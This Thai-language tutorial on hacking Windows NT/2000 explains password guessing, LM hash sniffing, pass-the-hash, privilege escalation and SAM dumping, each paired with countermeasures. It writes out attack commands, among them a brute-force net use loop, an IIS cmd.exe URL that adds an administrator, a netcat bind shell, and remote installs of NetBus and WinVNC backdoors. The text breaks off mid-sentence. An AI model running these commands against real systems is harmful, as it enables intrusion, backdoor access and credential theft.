การเจาะระบบ Windows NT
ระบบ รักษาความปลอดภัย Windows NT ได้เผยแพร่ผลงานของ Hobbit แห่ง Avian Research เกี่ยวกับ common Internet File System (CIFS) และ Server Message Block (SMB) ซึ่งดูได้จาก http://www.insecure.org/stf/cifs.txt) ซึ่งเอกสารนี้ได้บอกถึงข้อบกพร่องของ Windows NT
ไมโครซอฟต์ได้ออก มาแก้ปัญหาเป็นระยะด้วย Patch ซึ่งความปลอดภัยอาจจะสูงกว่า Unix ด้วยซ้ำ เพราะระบบเครื่องจะไม่ให้ลูกข่ายมาทำงานบนเครื่องยกเว้นแต่ติดตั้ง Terminal Server และ Terminal Client
โดยดีฟอลท์สิทธิกำหนดให้บางกลุ่มเท่า นั้น ถ้าผู้เจาะขโมยรหัสผ่านไม่ได้ก็จะเจาะระบบได้ยาก
การเจาะระบบ Windows NT ที่เกิดขึ้นอาจเป็นเพราะหนึ่งง่ายต่อการเข้าใช้ เนื่องจากต้องยอมรับกับระบบเก่าด้วย และใช้ Lan Manager ในการแฮซรหัสผ่าน
สอง คือเนื่องจากง่ายทำให้ผู้บริหารระบบละเลยเรื่องความปลอดภัย เช่นกำหนดรหัสผ่านที่เป็น Blank หรือว่างเปล่า
ภาพรวม
จะ บอกถึงพื้นฐาน และการตรวจสอบพอร์ต 135, 139 โดยดูว่าเป็น Windows NT ถ้า 139 เป็น Windows 9x และใช้การดูนามของบริการ
ถัดไปรวบรวมข้อมูล และเชื่อมต่อผ่านทาง Anonymous Connection เพื่อหารหัสผ่าน โดยเป้าหมายต้องการให้ได้ซึ่ง Administrator และอำพรางตัวเพื่อป้องกันการสะกดรอยหาตัวแฮกเกอร์
เครื่องมือต่างๆมี อยู่อย่างมากมาย แต่จะเน้นเฉพาะเครื่องมือที่นิยมกัน
นอกจาก Windows NT ยังมี Windows 2000 ซึ่งจะมีการกล่าวถึงการปรับแต่งเรื่อง Mixed Mode กับ Native Mode
การพยายามให้ตนได้รับสิทธิเท่าเทียม Administrator
เป้าหมายของผู้เจาะระบบต้องการสิทธิในระดับผู้บริหาร ระบบซึ่งก็คือกลุ่ม Administrators
ถ้าพอร์ต NetBIOS Session Service หมายเลข 139 เปิดอยู่วิธีที่ได้ผลก็คือการคาดเดารหัสผ่าน ถ้าต้องการเดาให้มีประสิทธิภาพต้องรู้จัก Account ก่อนโดยใช้ Null session ไปด้วยคำสั่ง Net use และใช้ DumpACL/DumpSec จาก SomarSoft และ Sid2user/user2sid
การค้นหาแชร์ทำงานได้ใช้ Interprocess Communication: IPC) ที่ชื่อ IPC$ ซึ่งยังใช้ 139 แชร์ที่เปิดสำหรับผู้บริหารระบบเช่น ADMIN$, ชื่อไดร์ฟ$ การติดต่อสามารถใช้ Network Neighborhood ในเครื่องหมายหมายเลข IP address ที่ต้องการ ระบุรหัสผ่านซึ่งระบบจะซ่อนด้วยดอกจัน ผู้พิมพ์จะต้องระบุรหัสผ่านเอง
ใน การเดาบนเครื่อง Workstation จะเป็นการเข้าที่ Local account ถ้าเครื่องที่เป็น Domain จะตรวจสอบที่ Global account ซึ่ง Windows NT Workstation และ Server ที่ไม่ใช่ Domain กำหนดให้ทุกคนล็อกออนเข้าใช้ได้ แต่ถ้าเป็น Domain Controller จะไม่อนุญาต และระบบจะมีการบล็อกในจำนวนการเข้าใช้ถ้าพิมพ์ผิดเกินที่กำหนดจะไม่ยอม
การ ตรวจสอบว่ามีการกำหนด Lockout account ผู้เจาะระบบต้องตรวจสอบนโยบายที่กำหนดก่อน และเริ่มเดา Guest account (ตรวจสอบว่าถูก Disable หรือไม่) ซึ่งถ้ามีการกำหนดนโยบายและพิมพ์รหัสผ่านผิดเกินที่กำหนดก็จะใช้ไม่ได้ เหมือนกัน
การเดารหัสผ่าน
- ตรวจสอบจากรหัสผ่านที่ว่าง
- ตรวจสอบจากชื่อบริษัท หรือชื่อผู้ใช้, Guest, Test, Admin, Password หรือดูจากฟิลด์คำแนะนำ ซึ่งใช้ DumpACL/Dumpsec เพื่อประโยชน์ในการเดา
- ใช้ Account ที่ไปเปิดบริการบน Windows NT ซึ่งชื่อจะจำง่าย และมีส่วนช่วยในการเดาด้วย
การหารรายการของ Account ดูได้จาก http://www.securityparadigm.com/defaultpw.htm
การ เดารหัสผ่านอัตโนมัติสามารถใช้ For loop ได้ใน NT Shell โดยระบบจะใส่รหัสผ่านและคั่นด้วย Delimiter หรือ Tab ตัวอย่าง
For /f “tokens=1,2*” %I in (credentials.txt) do net use \\target\ipc$ %I /u:%j
ยังมีเครื่องมือที่ใช้อีกเช่น Legion และ NAT
NAT สามารถสั่งด้วยคำสั่งและเขียนเป็นสคริปต์ดังนี้
For /L %I IN (1,1,254) Do nat –u userlist.txt –p passlist.txt
เครื่องมือในการ ค้นหารหัสผ่านที่ว่างเปล่าคือ NTInfoScan (NTIS) ของ http://packetstorm.securify.com/NT/Audit ซึ่งมีการใช้เป็นคำสั่งโดยได้ปรับปรุงดูได้ที่ http://www.cerberusinfosec.co.uk/tools.html
เครื่อง มือที่เป็นของฟรีได้แก่ Cybercorp Scanner ของ NAI ที่มาพร้อมกับ SMBGrind ทำงานได้อย่างรวดเร็วผลลัพธ์ไม่ต่างจาก NAT
Smbgrind –1 100 –I 192.168.2.5
มาตรการป้องกันการเดารหัสผ่าน
ต้องบล็อกพอร์ต 135-139 ที่ Firewall หรือ Router และไม่ทำการผู้ WINS Client ในแท็บ Binding
กำหนดการ Logout account ที่พิมพ์ผิดเกินจำนวนครั้งที่กำหนด บังคับให้ใส่รหัสผ่านที่ดี และบันทึกล็อก สิ่งที่ทำนี้อยู่ใน Account Policies
Passfilt เป็นการป้องกันที่ดีให้มาพร้อมกับ Windows NT SP2 ซึ่งจะบังคับรหัสผ่นาต้องยาวอย่างน้อย 6 ตัวอักษร และต้องไม่มีการใช้ชื่อแอคเคานต์หรือส่วนใดมาเกี่ยวข้อง ซึ่งการใช้ Passfilt เป็นเรื่องที่ต้องทำ แต่ระวัง Passfilt ที่เป็นม้าโทรจันในการเจาะระบบ และไม่ควรนำ Passfilt ของค่ายอื่นมาใช้
ใน Windows 2000 ให้ไปที่ secpol.msc หรือ gpedit.msc กำหนดใน Security Settings\Account Policies\Password Policy\”Password Must Meet Complexity Requirements”
Passprop เป็นเครื่องมือที่มากับ NTRK ซึ่งช่วยกำหนดนโยบายความปลอดภัย
- กำหนด Password-complexity ผู้ใช้ต้องผสมตัวเล็ก ตัวใหญ่ และตัวเลข อักขระพิเศษ
- Passprop ควบคุม administrator โดยกำหนดจำนวนครั้งที่พิมพ์รหัสผ่านผิด
- การบันทึกล็อก โดยดูใช้ Event Viewer หรือใช้ Dumpel จาก NTRK, NTLast เป็นของฟรีเข้าไปที่ http://www.ntobjectives.com หรือ DumpEvt จาก www.somarsoft.com
Dumpel สามารถเข้าดูล็อกและจัดการบนเครื่องอื่นได้สามารถดูเหตุการณ์ได้ถึง 10 ID พร้อมๆกันตรวจสอบการล็อกออนที่ล้มเหลวใช้ 529
Dumpel –e 529 –f seclog.txt –l security –m security –t
DumpEvt จะดัมพ์เอาล็อกไฟล์เกี่ยวกับความปลอดภัยไปเก็บไว้ใน Access หรือ SQL ก็ได้ แต่ไม่สามารถกรองเหตุการณ์ได้
NTLast เป็นเครื่องมือ 32 บิตที่ค้นหาเหตุการณ์ที่ล้มเหลวทั้งล็อกออนโดยผ่านเครือข่าย สามารถจับคู่การล็อกออฟ และล็อกออนได้ ยังรวบรวมเหตุการณ์ในการเข้าใช้ด้วยวิธีการเดาใน IIS server ได้ด้วย
Real-Time Burglar Alarms: Intrusion Detection
เป็นระบบที่ใช้ตรวจสอบ เหตุการณ์และแจ้งเตือนทันที ณ เวลานั้นๆ ออกแบบเพื่อทำงานบน Windows NT โดยหลักการจะมีเครื่องคอยตรวจสอบไปถึงการตรวจจับผู้บุกรุก เช่น
BlackICE Pro ของ www.networkice.net
Centrax ของ www.cybersafe.com
CyberCop Server ของ www.nai.com
Desktop Sentry ของ www.ntobjectives.com
Intact ของ www.pedesstalsoftware.com
Intruder Alert (ITA) ของ www.axent.com
Kane Security Monitor ของ www.securitydynamics.com
RealSecure ของ www.iss.net
SeNTry ของ www.missioncritical.com
SessionWall-3 ของ www.platinum.com
Tripwire for NT ของ www.tripwiresecurity.com
ซึ่งรายละเอียดต่างๆ ดูได้จากเว็บไซต์ www.infoworld.com/cgi-bin/displaytc.pl?/980504comp.htm
การจับ รหัสผ่านผ่านเครือข่าย
การคาดเดารหัสผ่านเป็นเรื่องที่ยากพอควร จึงมีการใช้วิธีการดักจับเพื่อตรวจสอบเรียกว่า Sniffer ซึ่งถ้าใช้อยู่เฉพาะด้านเช่น L0phtcrack จาก www.l0phtcrack.com
L0phtcrack เป็นเครื่องมือคาดเดารหัสผ่านแบบออฟไลน์โดยดึงไฟล์ที่ลักลอบเข้ามาแล้วใช้ ระบบคาดเดารหัสผ่าน และยังมีส่วน SMB Packet Capture ซึ่งจะขโมยรหัสผ่านจากเครือข่ายในแพ็ตเกตต่างๆของ Windows NT Domain Controller และใช้การแฮชของรหัสผ่าน
กระบวนการของ Windows NT Domain Controller จะส่งค่า Challenge ที่สร้างสุ่มให้กับเครื่องลูกข่าย เครื่องลูกข่ายก็จะไปทำ Hashing algorithm ได้ผลของค่า Hash รหัสผ่าน และนำค่านี้ไปเป็นกุญแจเข้ารหัสค่า Challenge ที่เครื่อง DC ส่งมา แล้วส่งการเข้ารหัสไปที่ฝั่ง DC DC นำค่าที่ได้ไปเก็บในฐานข้อมูล SAM เพื่อเปรียบเทียบดูผลรับว่าเท่ากันหรือไม่
L0phtcrack ยังสามารถที่เจาะกลไกของ Windows NT ได้โดยโปรแกรมจะได้ Challenge และสตริงชุดหนึ่งที่เป็นผลลัพธ์ของการเข้ารหัส Challenge และสามารถใช้โดยโปรแกรมในการสุ่มเพื่อจับข้อมูล และใน Reverse-engineering เพื่อนำมาหาค่าของรหัสผ่าน (ซึ่งอัลกอริทึมของระบบเดิมใน LM จะอ่อนแอส่งผลให้การเจาะระบบทำได้ไม่ยากนัก)
ซึ่งจากการทำงานแบบนี้ ทำให้ผู้ดักจับถ้าเข้าไปในเครือข่ายด้วยระยะเวลาหนึ่งจะสามารถที่จะล่วงรู้ รหัสผ่านได้
ซึ่งถ้าใช้อุปกรณ์ Switching ก็จะช่วยลดการดักจับได้ระดับหนึ่ง แต่ไม่ช่วยในการป้องกันเทคนิคที่เป็นการบรอดคลาสเช่น ARP, SMB
วิธี การหนึ่งของการตรวจสอบคือใช้จดหมายส่งไปโดยแนบ file://ชื่อเครื่อง/ชื่อแชร์/message.html รหัสผ่านจะส่งมาให้ตรวจสอบถ้ามีใครคลิกเข้ามาในเครื่อง
L0phtcrack สามารถดักจับได้แม้ว่าจะต่อใน PPTP ซึ่งมีการเข้ารหัสอย่างปลอดภัย โดยไปที่ PPTP sniffer ซึ่งอยู่ใน Bugtraq สามารถทำงานในยูนิกส์
การส่งค่าแฮ ซของรหัสผ่าน
แทนที่จะส่งรหัสผ่านในการตรวจสอบ ก็ส่งรหัส Challenge ไปที่เครื่อง DC โดยตรงจะประหยัดเวลากว่ามาก โดย Paul Ashton ได้ประกาศแนวคิดในการแก้ไขไว้ที่ http://www.ntbugtraq.com ซึ่งสามารถใช้ NT Domain เพียงค่าแฮซรหัสผ่านเท่านั้น
รายละเอียดใน การดูค่าแฮซดูได้ที่ http://www.core-sdi.com/paper/nt_cred.htm ซึ่งจะมีการพูดถึงวิธีการ Local Security Authority Subsystem (LSASS) ที่ใช้เก็บเซสชั่นของการล็อกออน ยังรวมถึงการเก็บแก้ไขค่าหน่วยความจำโดยตรงเพื่อแฮซรหัสผ่าน ซึ่งแนวคิดนำไปใช้ได้จริง โดยเขียนโปรแกรมง่ายๆ
มาตรการป้องกัน: กำหนดไม่อนุญาตให้ตรวจสอบผู้ใช้ด้วย LanMan Hash
ให้เพิ่มคีย์ใน Windows NT ชื่อว่า “LMCompatibilityLevel” กำหนดเป็น Reg_dword มีค่าเท่ากับ 4 ในที่ HKLM\System\CurrentControlSet\Control\LSA
ลำดับ 4 เป็นการห้ามไม่ใช้ DC ยอมรับการตรวจสอบด้วย LanMan Authentication, ซึ่งใช้รหัส 4 กับ 5
แต่การกำหนดแบบนี้จะทำให้เครื่องลูกข่ายที่มิ ใช่ Windows NT เช่น Win9x, WFW ไม่สามารถล็อกออนได้
ซึ่งในยุค Windows 2000 มีการป้องกันรหัสผ่านด้วย DSClient โดยไฟล์นี้มีมาให้ในแผ่น Windows 2000 ที่ Clients\Win9x\Dsclient.exe ระบบนี้จะทำให้มีความปลอดภัยในการตรวจสอบขึ้น
การอนุญาตให้ใช้ลาย เซ็นดิจิตอลบนโปรโตคอล SMB
แม้ไม่ได้ป้องกันการใช้เครื่องมือ Pass the hash โดยตรงแต่ป้องกัน main-in-the-middle คือการดักจับข้อมูลได้ ซึ่งเรียกว่า SMB Signing สามารถทำได้ตั้งแต่ NT SP3 ขึ้นไป โดยระบบจะมีการส่งลายเซ็นดิจิตอลว่าเป็นลายเซ็นจริงหรือไม่ซึ่งรองรับได้ เฉพาะ NT เท่านั้น และอัตราความเร็วในการล็อกออนจะลดลง 10-15 เปอร์เซ็นต์
การ ยกระดับสิทธิให้สูงขึ้น
คือการที่ครั้งแรกใช้เดารหัสผ่านของผู้ใช้ ทั่วไป และก็มาให้กลายเป็นสมาชิกของ Administrator หลักการคือการรวบรวมข้อมูล
เครื่องมือที่ใช้ srvinfo จาก NTRK ค้นหาโฟลเดอร์ %systemroot%\system32 เพื่อตรวจสอบว่ามีการแชร์หรือไม่ หรือตรวจสอบว่า ftp มีการอนุญาตให้เขียนลงไปหรือไม่
ใช้เครื่องมือ Find เพื่อหาข้อความ Password ให้ .bat ใดๆ
ใช้เครื่องมือ regdmp หรือ Connect Network Registry ใน Regedit เพื่อทดลองค่าคีย์ต่างๆ
มาตรการ ป้องกัน
คืออุดรอยรั่วก่อนโดยทดสอบว่ามีอะไรหลุดมาหรือไม่
Getadmin เป็นโปรแกรมเล็กๆที่ให้เพิ่ม Account เข้าไปใน Administrator โดยมีการเซตแฟลกพิเศษ ซึ่งจะแฝงตัวใน winlogon หาได้จาก http://www.ntsecurity.net/security/getadmin.htm
สาเหตุ ที่ไม่เป็นที่นิยมเนื่องจากโปรแกรมนี้จะต้องรันบนเครื่อง ซึ่งอย่างน้อยจะต้องเป็นกลุ่มที่มีสิทธิในระดับ Operators
วิธีใช้ คือ getadmin <ชื่อผู้ใช้> จะพบว่ารายชื่อจะถูกบรรจุใน Administrator
มาตรการ ป้องกัน Getadmin
ให้ติดตั้ง SP4 หรือ SP3+Hotfix แต่มีข่าวว่า crash4 สามารถที่เจาะได้แม้ติดตั้ง SP4 แล้วก็ตาม
Sechole ทำหน้าที่เหมือน getadmin คือสามารถเพิ่มเข้าในกลุ่ม Administrators ได้ และมี Secholed ที่เพิ่มใน Domain Admins ด้วย ให้ดูที่ Prasad Dabak ซึ่งดูได้ในเว็บ http://www.ntsecurity.net/security/sechole.htm
Sechole สามารถทำงานได้กับ IIS และใช้ IUSR_servername เข้าในกลุ่มนี้
การ ทำงานของ Sechole จากระยะไกล
เป็นการประยุกต์ใช้กับเทคนิคพื้นฐาน ซึ่งโดยดีฟอลท์ของ IIS และตรวจสอบว่ามีการให้ Permissions อย่างไร ซึ่งการโจมตีจะโหลดโปรแกรมสำหรับแฮกเช่น Sechole ไว้ใน Virtual Directory โดยใช้ FTP ที่ไม่เหมาะสม หรือใช้ FrontPage authoring สำหรับการอัพโหลด ซึ่งถ้าทำสำเร็จก็ให้อัพโหลดไฟล์ execute และ dll ไว้ ซึ่งการใช้รหัสผ่านดังกล่าวของ IUSR_servername ยังต้องสุ่มซึ่งนิยมใช้การสร้าง User จะง่ายกว่าโดยไปกำหนดแบตช์ดังนี้
Net user khajorn abc /add && Net localgroup administrators khajorn /add
และเมื่อไฟล์ต่างๆถูกำหนดไว้เรียบร้อยก็จะได้สิทธิดังกล่าว
หลัก การในการรันเพื่อไม่ต้องล็อกออน IUSR_servername คือ
http://192.168.0.11/scripts/cmd.exe?/c:%20c:\inetpub\scripts\adduser.bat
อักขระ ที่ %20 หมายถึงช่องว่าง ซึ่ง /c ให้หยุดทำงานเมื่อรันเสร็จ
มาตรการ ป้องกัน Sechole
คือการป้องกัน Execute file ผ่านเว็บ และติดตั้ง NT SP6a หรือ SP5+hotfix และบล็อกการเข้าใช้พอร์ต 135-139 รวมทั้งชื่อแชร์
การ ปลอมตัวเพื่อใช้บริการผ่าน LPC Port
เป็นการใช้ข้อบกพร่องของ LPC ซึ่งจะเปิดให้กับผู้ให้บริการ โดยจำลองตัวเองเป็นกระบวนการฝั่งลูกข่าย เพื่อตบตาคิดว่าเป็นผู้ใช้ทั่วไป หรือ System process และโปรแกรมจาก RAZOR ชื่อว่า hk จะให้ยกระดับที่ Backup Operator เข้าไปที่ Administrators แทน
1. ในตอนแรกผู้ใช้จะอยู่ใน Backup Operators ใช้ Utilities whoami จาก NTRK
2. พยายามที่จะเพิ่มผู้ใช้โดย net localgroup
3. แต่ถ้าใช้กับ hk net localgroup administrators ชื่อผู้ใช้ /add จะทำได้
มาตรการ ป้องกันคือการติดตั้ง Hotfix SP6a+Hotfix ซึ่งถ้ารอ SP7 อาจจะไม่มีก็ได้
โปรแกรม Trojan และค่าคีย์ใน Registry ที่สามารถ Execute ได้
ตำแหน่งที่รัน ใน Registry
Key Name
Default Permission
Values
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Everyone: set value
[any]
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Server Operators: set value
[any]
HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx
Everyone: set value
[any]
HKLM\Software\Microsoft\Windows\CurrentVersion\AeDebug
Everyone: set value
Debugger
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon
Server Operators: set value
Userinit
การกำหนด Permission ต่างๆเหล่านี้อาจมีผลต่อแอพพลิเคชั่น
การยกระดับสิทธิ
เป็น วิธีการค่อนข้างยากนอกจากจะมีช่องโหว่ หรือดักจับผู้ใช้ที่อยู่ในกลุ่ม Operators ซึ่งเมื่อเข้าไปได้แล้วจะได้สิทธิ Administrators
ซึ่ง เมื่อได้สิทธิผู้บริหารระบบแล้วก็สามารถที่จะทำเรื่องต่างๆได้ดังนี้
การ แคร็กรหัสผ่านของผู้ดูแลในฐานข้อมูล SAM (Security Account Manager)
ซึ่ง การเจาะฐานข้อมูล SAM เสมือนว่าได้ /etc/passwd ในระบบ Unix ซึ่งการได้ SAM มานี้ถึงแม้เป็นเครื่องที่ Standalone ก็มีสิทธิในการที่จะได้ผู้ใช้ในโดเมนนั้นๆด้วย
ซึ่งบางท่านอาจจะ บอกว่ารหัสผ่านของ SAM จะเข้ารหัสไว้ไม่ใช่หรือ แต่ด้วยการที่ต้องการให้ระบบแบบเก่า (LM, WFW, Win9x) ใช้ได้จึงเป็นจุดอ่อนอย่างใหญ่หลวงใน NT เครื่องมือคือ L0phtcrack กลไกนี้สามารถที่ทำออฟไลน์เพื่อป้องกันการใช้ Account lockout การตรวจสอบจากดิกชั่นนารีจะเร็วหรือช้าขึ้นอยู่กับความแรงของเครื่อง
การ ดูข้อมูลของ SAM จะไปได้ที่ %systemroot%\System32\Config ซึ่งโดยทั่วไป administrators จะดูไม่ได้แต่ถ้าใช้การ Audit ก็ตรวจสอบได้
วิธีการ นำ SAM
1. ก๊อปปี้ไฟล์ในแผ่นดิสก์ โดยตรง
2. สำเนาโดยใช้ rdisk /s เพื่อสร้าง Emergency Repair Disk (ERD)
3. ดึงค่าจาก SAM โดยตรง
4. ดักจับจากเครือข่าย
- ซึ่งผู้ใช้สามารถที่จะบูตเข้ารหัสปฏิบัติการด้วย DOS และใช้ NTFSDOS จาก http://www.sysinternals.com
- ขโมยไฟล์จาก แผ่น ERD และก๊อปปี้ใน %systemroot%\repair จะต้องขยาย sam._ ก่อนโดย L0phtcrack จะมีไฟล์ import
- การดัมน์ด้วย pwdump ซึ่ง L0phtcrack จะมีความสามารถดังกล่าวด้วย แต่บล็อกด้วย SP2 ขึ้นไป ซึ่งใช้ pwdump2 จะเข้าไปดูได้
มาตรการป้องกัน
วิธี การป้องกันคือการกำหนดรหัสผ่านที่มีความสลับซับซ้อน และความปลอดภัยในระดับ 7 และ 8 อักขระมีความหมายเหมือนกัน
ในการเพิ่มความปลอดภัยใน Windows NT +SP2 คือใช้คำสั่ง Syskey เพื่อให้มีความปลอดภัยสูงขึ้น
การกำหนด ค่าตรวจสอบในการเข้าถึง SAM คือมีการกำหนดการ Auditing ในหัวข้อของ File and Object Access ที่ Success
การใช้ประโยชน์จากช่องโหว่ ของ Trust Relationship
มีการขโมยรหัสผ่านใน Trust Relationship ได้ ซึ่งโดยช่องโหว่ที่ใหญ่ที่สุดคือการกำหนดรหัสผ่านของ Administrator ใน Member Server กับโดเมนเป็นชื่อเดียวกัน
ดังนั้นสิ่งที่ควรระวังคือ
- กำหนดรหัสผ่านของ Local administrator ตรงกับของโดเมน ทั้งชื่อ และรหัสผ่าน
- หรือมีการกำหนดหมายเหตุทำให้เข้าใจถึงรูปแบบของรหัสผ่านระหว่างเครื่อง Local กับ Domain
มาตรการป้องกัน
มีการกำหนดรหัสผ่านเปลี่ยน อยู่บ่อยโดยกำหนเป็นโดเมน และมีการสร้าง Account ใหม่ที่เป็น Administratorsซึ่งกำหนดให้เดายาก และ Account ที่ผู้บริหารระบบใช้อยู่ประจำให้มีสิทธิเป็น User ธรรมดา
LSA Secrets
ซึ่งอยู่ใน HKLM\Security\Policy\Secrets, LSA Secrets
ใน ที่นี้ประกอบด้วย
- รหัสผ่านของ Service Account เพื่อนำไปสู่การเจาะระบบ
- แคชของค่าแฮซสิบคนล่าสุด
- รหัสผ่านที่ใช้ผ่าน Web และ FTP
- ชื่อผู้ใช้ผ่าน RAS
- รหัสผ่านของ Computer Account ที่เป็นสมาชิก
เครื่อง มือที่ใช้คือ lsadump2
มาตรการป้องกัน
มีกล่าวใน Q184107 บอกว่าผู้บริหารระบบสามารถเข้าถึงข้อมูลได้ทันที ซึ่งถ้าแก้ไขให้ไปลง hotfix ส่วนใน RAS ให้ลง SP6a
Autologon Registry Keys
หรือ กำหนดให้ autoAdminlogon ใน HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\AutoAdminLog กำหนดเป็น 1
มาตรการป้องกัน AutoLogon
ให้ลบค่า DefaultPassword ใน Winlogon ทิ้งไป
Keystroke Loggers
เป็น การดักจับรหัสผ่านผ่านหน้าจอ ซึ่งกำหนดเก็บเป็นไฟล์ หรือส่งไปยังตำแหน่งที่ต้องการ ซึ่งระบบจะทำการติดตั้งไดร์ฟเวอร์ และค่าคีย์ในไฟล์ iks.reg และเมื่อโหลดเข้าไปแล้วทำการรีสตาร์ทใหม่ด้วยคำสั่ง Remote Shutdown คือ
Shutdown \\เครื่องที่ต้องการ /r /t:1 /y /c
ผู้ใดเข้ามาใช้จะเก็บเป็นล็อก ไฟล์
มาตรการป้องกัน Keystroke loggers
ให้ไปตรวจสอบ หรือค้นหาคำว่า LogName อยู่ใน HKLM\System\CurrentControlSet\Services และค่าซับคีย์ต่างๆ หรือจะค้นหาจากไฟล์ iksnt.sys
Sniffers
เป็น การจับระบบเครือข่ายมีซอฟต์แวร์ชื่อดังคือ Snifferpro ซึ่งสามารถที่จะดักจับได้ และเป็นที่นิยม นอกจากนี้ยังมี CaptureNet 3.12 ซึ่งเป็นของฟรี และ NetMon ที่มีมาใน NT/2000
รูปแบบของแต่ละโปรแกรม จะขึ้นอยู่กับแต่ละค่ายที่ออกแบบ ซึ่งหลักการทำงานจะเหมือนกัน
Buttsniffer
เป็น เครื่องมือที่สร้างโดยผู้ออกแบบ Back Orifice 2000 ซึ่งหาได้จาก http://packetstorm.securify.com/sniffers/buttsniffer
วิธี ใช้
คือ Buttsniff –l จะพบอินเตอร์เฟส
พิมพ์ buttsniff –d l d:\data\data.txt p
และเข้าไปดูในไฟล์
ข้อเสียคือไม่ค่อย เสถียร
Fsniff
เป็นโปรแกรมอีกตัวหนึ่งสามารถส่งไฟล์ผ่าน ftp ได้
วิธี ใช้คือ fsniff
นอกจากนี้ยังมี WinPcap-Based Win32 sniffers, WinDump, dsniff for Win32
มาตรการป้องกันการลักลอบดักจับด้วย Sniffer
คือให้ใช้การเข้ารหัสไม่ว่าจะเป็น Secure Shell (SSH), Secure Socket Layer, Pretty Good Privacy (PGP), IPSec ในระดับ IP หรือใช้ Switch กับ VLAN ในการแบ่งเครือข่าย
การควบคุมจากระยะไกล และสร้างประตูทางลับ
ในเครื่องมือของ Windows NT Server ที่อยู่ใน NTRK จะมีคำสั่ง rcmd.exe ซึ่งสามารถที่เข้าใช้จากระยะไกลได้
ระบบ การใช้คำสั่งจากทางไกลจะผ่านทาง Remote.exe เข้าที่ c$ ที่เครื่องเป้าหมาย
ผู้ ใช้กำหนดตารางเวลาให้เท่ากันได้โดยใช้คำสั่งดังนี้
Sc \\192.168.0.11 start schedule
Net time \\192.168.0.11
At \\192.168.0.11 10:40P “remote /s cmd secret”
At \\192.168.0.11
จะ พบว่ามีการทำงานแล้ว
ใช้คำสั่ง
Remote /c 192.168.0.11 secret
ผู้ใช้สามารถที่เข้าดูฐานข้อมูล Sam ได้โดยไปที่ C:\winnt\repair\sam._
การใช้คำสั่ง Remote shells ด้วย netcat
เป็นวิธีที่สะดวกเนื่องจากโปรแกรมจะใช้ TCP กำหนดพอร์ตได้ โดยวิธีที่ใช้คือ
Nc –L –d –e cmd.exe –p 8080
เป็นการกำหนด ให้เครื่องของแฮกเกอร์สามารถต่อเชื่อมผ่านพอร์ตที่ 8080 ได้
Nc 192.168.0.11 8080
เมื่อใช้คำสั่ง ipconfig จะพบว่าเป็นของเครื่องอื่น
Exit เพื่อออกจากโปรแกรม
NetBUS
เป็น ญาติพี่น้องกับ Back Orifice (BO) ที่ใช้ควบคุมจากทางไกล จะมีเวอร์ชั่นใหม่ซึ่งตอนนี้เป็นเวอร์ชัน 2.3 แล้ว โดยระบบจะทำการฝั่ง NBSVR.EXE ซึ่งจะใช้ NBSVR GUI ในการเรียกใช้
NBSVR.EXE จะซ่อนไม่สามารถมองเห็นได้ และเพิ่มค่าคีย์ใน Registry โดย regini.exe จาก NTRK
ไฟล์ที่ได้คือ NETBUS.txt
Regini –m \\192.168.0.11 netbus.txt
โดยเมื่อมีการเรียก Patch จะมีการกำหนดค่าติดตั้งพอร์ตต่างๆ และกำหนดเป็น Visibility =3 มีการกำหนด autostart =1 ให้เครื่องทำงานเมื่อบูตเครื่อง และเก็บค่าใน Registry ที่
HKLM\Software\Microsoft\Windows\CurrentVersion\Runservices
มาตรการ ป้องกัน NetBUS
เนื่องจาก NetBUS สามารถเปลี่ยนค่าพอร์ตได้ในเวอร์ชันหลังๆ จึงต้องหาวิธีในการจัดการ NetBUS โดยตรงให้ไปดูที่ RunServices
Back Orifice 2000
เวอร์ ชั่นแรกๆยังไม่สามารถทำงานบน Windows NT ได้จนได้ออก BO2K ที่มีฟีเจอร์เหมือน Windows 9x และควบคุมจากทางไกล
มาตรการป้องกัน Back Orifice 2000
เช่นเดียวกับ NetBUS คือมีการออกซอฟต์แวร์ในการตรวจสอบ ซึ่งบางครั้งซอฟต์แวร์ที่กำจัดจะเป็น BO ซะเอง โดยใช้การค้นหา Internet Scanner ของ ISS ว่าใช้ที่พอร์ตใด หรือใช้จาก BO เองโดยเข้าไปที่หน้าจอในการนำ BO ออก ซึ่งตอนหลัง cDc ได้เปิดเผยซอร์สโค้ดของ BO2K ทำให้มีการพัฒนาซอฟต์แวร์นี้อย่างต่อเนื่อง ดังนั้นจึงสมควรที่จะรู้จักการจัดการกับไฟล์ที่รับเข้ามาทางอินเตอร์เน็ต
การ ขโมยหน้าจอด้วย WinWVN
เป็นการขโมยหน้าจอ NT แบบกราฟิกซึ่งฟรี ซึ่งมีประสิทธิภาพดีของ Virtual Network Computing ซึ่งผู้ใช้สามารถดาวน์โหลดได้ การติดตั้งนั้นก็ง่ายมองไม่เห็นเป็นบริการ โดยการทำงานของระบบจะก๊อปปี้ไฟล์ Winvnc.exe, vnchooks.dll และ omnithread_rt.dll ไปไว้ในเครื่องเป้าหมาย ตรวจสอบได้จาก Task Manager ในแท็บ Process
มีการเพิ่มคีย์โดยใช้ regini.exe ซึ่งคล้าย NetBUS โดยถ้าใช้ regdmp จาก NTRK จะได้ Winvnc.ini ดังนี้
HK_USERS\.Default\software\ORL\WinVNC3
Socketconnect = REG_DWORD 0x0000001
Password = Reg_binary 0x0000008 0x57bf2d2e 0x9e6cb06e
จากนั้นโหลดค่านี้โดยใช้ regini
Regini –m \\192.168.0.11 winvnc.ini
อย่าลืมว่าคำสั่งด้านล่างขโมยจากเครื่อง ปลายทาง
Winvnc –install
Net start winvnc
ในขณะนี้ สามารถที่เปิดโปรแกรม vncviewer เพื่อต่อในเครื่องปลายทาง
การหยุด ยั้ง WinVNC
Net stop winvnc
Winvnc –remove
Reg delete \\192.168.0.11
(Reg นำมาจาก NTRK)
การ เปลี่ยนทิศทางอขงพอร์ต (Port Redirection)
ไฟร์วอลล์หลายตัวจะทำการ บล็อกการจราจรต่างๆได้ ดังนั้นการใช้ Port Redirection เป็นวิธีหนึ่งที่หลบเลี่ยง โดยกระบวนการจะทำการเฝ้าดูที่พอร์ตนี้และเปลี่ยนพอร์ตออกไป โดยเครื่องมือที่ใช้มี
Net cat, rinetd และ fpipe
การ ขโมยเชลล์ของ NT ด้วย NetCat
Netcat สามารถอัพโหลดไปอยู่หลังไฟร์วอลล์ได้ โดยจะขโมยเชลล์ที่ต้องการโดยวิธี
